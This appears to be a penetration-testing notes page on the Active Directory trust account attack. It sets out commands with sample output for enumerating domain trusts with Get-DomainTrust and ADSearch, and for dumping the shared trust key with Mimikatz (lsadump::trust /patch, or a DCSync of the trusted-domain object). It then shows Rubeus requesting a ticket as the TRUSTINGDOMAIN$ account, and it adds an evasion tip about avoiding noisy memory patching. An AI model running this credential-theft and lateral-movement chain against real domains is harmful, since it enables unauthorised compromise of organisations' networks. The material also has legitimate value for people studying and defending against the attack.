Trust Account Attack

This technique abuses the automatic creation of a trust account: whenever a one-way outbound trust is established between two domains trustingdomain.com and trusteddomain.com, a TRUSTINGDOMAIN$ account is created in the trusted domain, this is the trust account and we can recover its Kerberos keys and credentials to move from the trusting domain to the trusted one.

PS C:\users\otter\desktop> Get-DomainTrust -Domain trustingdomain.com

SourceName      : trustingdomain.com
TargetName      : trusteddomain.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection  : Outbound
WhenCreated     : 8/16/2022 9:49:17 AM
WhenChanged     : 8/16/2022 9:49:17 AM

When two domains share a trust relationship, they both store and share a password (which has a default lifetime of 30 days) in a Trusted Domain Object (or TDO): specifically, the cleartext NewPassword trust key represents the current password of the trust account, while the OldPassword trust key is typically the previous password. TDOs can be found with LDAP queries and they are generally stored in the system container (MS Documentation).

A good tool to find them is ADSearch

ADSearch.exe --search "(objectCategory=trustedDomain)" --domain trustingdomain.com --attributes distinguishedName,name,flatName,trustDirection

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
	[+] distinguishedName : CN=trustingdomain.com,CN=System,DC=trustingdomain,DC=com
	[+] name              : trustingdomain.com
	[+] flatName          : TRUSTING
	[+] trustDirection    : 3

	[+] distinguishedName : CN=trusteddomain.com,CN=System,DC=trustingdomain,DC=com
	[+] name              : trusteddomain.com
	[+] flatName          : TRUSTED
	[+] trustDirection    : 2

Now we have to get the trust hash from the DC of the trusting domain, to do this we can use the lsadump::trust /patch command from Mimikatz

mimikatz(commandline) # lsadump::trust /patch

Current domain: TRUSTINGDOMAIN.COM (TRUSTINGDOMAIN / S-1-5-21-102928273-333185529-3642627421)

 [  In ] TRUSTINGDOMAIN.COM -> TRUSTEDDOMAIN.COM

 [ Out ] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM
    * 12/21/2022 8:28:00 PM - CLEAR   - 54 00 72 00 75 00 73 00 74 00 4d 00 65 00 49 00 66 00 5a 00 6f 00 75 00 43 00 61 00 6e 00 34 00 32 00
        * aes256_hmac       075e08f0e35edc5a0a1e9e8b623799b46a3a9cd53be46c046b1168f39305bb0a
        * aes128_hmac       3c8405770c6c7be4975a5b43149210f2
        * rc4_hmac_nt       32302da7aa34caafdc2e247cc01c4690

 [ In-1] TRUSTINGDOMAIN.COM -> TRUSTEDDOMAIN.COM

 [Out-1] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM
    * 12/21/2022 8:28:00 PM - CLEAR   - 54 00 72 00 75 00 73 00 74 00 4d 00 65 00 49 00 66 00 5a 00 6f 00 75 00 43 00 61 00 6e 00 34 00 32 00
        * aes256_hmac       075e08f0e35edc5a0a1e9e8b623799b46a3a9cd53be46c046b1168f39305bb0a
        * aes128_hmac       3c8405770c6c7be4975a5b43149210f2
        * rc4_hmac_nt       32302da7aa34caafdc2e247cc01c4690

OPSEC

Performing memory patching on a DC is extremely noisy so it's best to use the second technique.

Another way to get the shared trust hash is to enumerate the GUID of the TDO and DCSync to only get its hash

Get-DomainObject -Identity "CN=trusteddomain.com,CN=System,DC=trustingdomain,DC=com" | select objectGuid

objectguid                          
----------                          
b93d2e36-48df-46bf-89d5-2fc22c139b43

mimikatz @lsadump::dcsync /domain:trustingdomain.com /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}

...

 [ Out ] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM

...

	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

By default, the trusted domain has a TRUSTINGDOMAIN$ account we can use the shared trust credentials to impersonate it over the trust

Rubeus.exe asktgt /user:TRUSTINGDOMAIN$ /domain:trustedomain.com /rc4:<TRUST_RC4_HASH> /nowrap

Since RC4 is default in domain trusts it's OK to use it instead of AES256.

A good post that describes the attack is this one.